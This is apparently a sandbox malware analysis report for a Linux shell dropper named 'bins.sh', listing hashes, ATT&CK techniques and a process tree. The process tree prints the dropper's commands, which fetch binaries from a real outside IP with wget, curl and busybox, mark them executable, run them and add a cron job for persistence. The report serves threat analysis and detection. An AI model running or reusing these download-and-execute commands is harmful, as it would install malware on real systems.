2835c76202590f8f399672f9075da9d4ecf4cad9ad13f1d864081841188cf7cc

Analysis

max time kernel
149s
max time network
152s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/11/2024, 23:27

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General

Target
bins.sh
Size 10KB
Sample241104-3fd5msskck
SHA256 2835c76202590f8f399672f9075da9d4ecf4cad9ad13f1d864081841188cf7cc
MD5 0608e8f1df47e2008cb35811c967d18e
SHA1 d9c11296c385ae6dd53490fbb042c51fb00734c0
SHA512 8b65cb5e0aa378cfb150c7f17bf7833760d5844625d83f742c9e56330d9636c64545ca9a48f1ec8ae12a3106ab3103e64f29adcee26bfec9797a0dac31cf465c
SSDEEP 192:WHHqLCEO+xjXjjjojfj/juUIguu65GW0/u65GW0uHHqLojXjjjojfj/j5Ok:WHHqLC5+xTX8TbaUIg/HHqLoTX8Tbwk
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2072) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
676	chmod
691	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx	677	SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
/tmp/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD	692	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD

Renames itself 1 IoCs

pid	Process
693	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.OlfyOz	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1098/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/1078/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/794/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/875/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/921/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/729/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/896/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/880/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/935/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/640/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/749/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/777/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/863/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/1015/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/1038/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/1044/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/21/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/725/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/780/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/852/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/1024/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/1109/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/721/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/26/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/739/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/970/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/18/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/28/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/284/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/918/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/1034/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/9/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/881/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/988/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/1066/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/761/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/743/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/748/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/792/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/793/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/1014/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/771/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/845/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/886/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/822/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/1104/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/23/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/1088/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/888/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/795/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/734/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/741/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/783/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/948/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/990/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/643/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/937/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/965/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/733/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/923/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/1012/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
File opened for reading	/proc/1107/cmdline	ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
713	wget

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx	curl
File opened for modification	/tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx	busybox
File opened for modification	/tmp/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD	wget
File opened for modification	/tmp/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD	curl
File opened for modification	/tmp/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD	busybox
File opened for modification	/tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:644
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:647
- /usr/bin/wget
  wget http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
  2⤵
  - Writes file to tmp directory
  PID:650
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:668
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
  2⤵
  - Writes file to tmp directory
  PID:674
- /bin/chmod
  chmod 777 SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
  ./SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
  2⤵
  - Executes dropped EXE
  PID:677
- /bin/rm
  rm SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
  2⤵
  PID:679
- /usr/bin/wget
  wget http://87.120.84.230/bins/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
  2⤵
  - Writes file to tmp directory
  PID:680
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:681
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
  2⤵
  - Writes file to tmp directory
  PID:687
- /bin/chmod
  chmod 777 ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
  2⤵
  - File and Directory Permissions Modification
  PID:691
- /tmp/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
  ./ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:692
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:694
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:695
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:698
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:699
- /bin/rm
  rm ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
  2⤵
  PID:709
- /usr/bin/wget
  wget http://87.120.84.230/bins/NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg
  2⤵
  - System Network Configuration Discovery
  PID:713

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx

Path /tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
Size 99KB
SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
MD5 9438d9bc392bcf300a5583b6df5bc8f6
SHA1 375a6ae34b516f6f3eeea8030c4084f585017efa
SHA512 1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
SSDEEP 3072:kFPlxndf22h/xwXnTkai7MYRApCg9dgdmk1b5wdL35sPX:kZlxndf8nTqtS/9dgdmk1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD

Path /tmp/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
Size 177KB
SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
MD5 786d75a158fe731feca3880f436082c0
SHA1 79ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA512 7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
SSDEEP 3072:PJtid2ng8w4YMrgUqqdaODUvI7UhTIyU2be6CXuVyZM/9h9XKvtZmmmLdwC7tuRD:BtiGGqaODUvI4hc2bvCXuVoM/9PXwPmK
MD5 SHA1 SHA512 SSDEEP

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tmp.OlfyOz

Path /var/spool/cron/crontabs/tmp.OlfyOz
Size 210B
SHA256 0266bec1a0bcbec412bc5d0fa9b9eaa61e61ccc372eb7ba8da7a18e3560ee386
MD5 ad5dbac76c3b8a1a1206041c1a3aa776
SHA1 53f89047d1c7aaccf01d93f1313137a73ccf3b08
SHA512 c14260fbfb187c82d59da7d3df5a1443f2e6ec15e6e54a120d51b7e5345e7e6448313288d2d5059b9ec4fcf0390e2d5a92205b1e8bc032c072e976c413ed82bb
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads